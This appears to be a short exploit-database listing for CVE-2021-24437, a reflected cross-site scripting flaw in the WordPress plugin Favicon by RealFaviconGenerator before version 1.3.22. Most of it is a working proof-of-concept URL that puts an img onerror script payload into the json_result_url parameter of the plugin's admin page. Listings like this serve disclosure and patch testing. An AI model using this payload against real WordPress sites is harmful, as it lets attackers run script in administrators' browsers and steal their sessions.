Exploit for Favicon by RealFaviconGenerator < 1.3.22 - Reflected Cross-Site Scripting (XSS) CVE-2021-24437

Name: Exploit for Favicon by RealFaviconGenerator < 1.3.22 - Reflected Cross-Site Scripting (XSS) CVE-2021-24437
Rating: 5 (313 reviews)

2021-07-27 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:ED9D26BE-CC96-4274-A05B-0B7AD9D8CFD9
Affected parameter: json_result_url

https://example.com/wp-admin/themes.php?page=favicon-by-realfavicongenerator%2Fadmin%2Fclass-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=%3Cimg%20src=x%20onerror=alert(document.domain)%3E